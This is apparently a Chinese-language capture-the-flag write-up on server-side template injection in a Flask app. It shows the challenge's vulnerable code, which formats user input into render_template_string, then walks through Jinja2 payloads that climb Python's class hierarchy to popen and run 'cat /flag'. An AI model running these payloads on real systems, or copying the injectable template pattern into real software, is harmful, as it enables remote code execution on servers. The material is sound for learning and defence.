2026-8-14-SSTI

2026-8-14-SSTI

八月 14, 2026

SSTI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

FLAG = None

if os.path.exists("/flag"):
try:
with open("/flag", "r", encoding="utf-8") as f:
FLAG = f.read().strip()
except:
FLAG = None


@app.route("/", methods=["GET"])
def index():
name = request.args.get("name", "guest")

template = f"""
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>SSTI</title>
</head>

<body>
<h1>Welcome {name}</h1>
</body>
</html>
"""

return render_template_string(template)


if __name__ == "__main__":
app.run(
host="0.0.0.0",
port=5000,
debug=False
)

题目地址:https://www.ctfplus.cn/problem-detail/1983793861520003072/description

1
2
3
name={{2*2}} 响应 4

name={{config}} 响应
1
Welcome <Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}>

构造对象链

name=’’.class

响应

1
Welcome <class 'str'>

name={{%27%27.__class__.__mro__}}

1
Welcome (<class 'str'>, <class 'object'>)

name={{%20%27%27.__class__.__mro__[1].__subclasses__()%20}}

列出所有子类

1
Welcome [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>,  ......

我们找到能执行命令的类

例如 subprocess.Popen

1
name={{%27%27.__class__.__bases__[0].__subclasses__()[138].__init__.__globals__.popen(%27cat%20/flag%20/%27).read()}}

拿到flag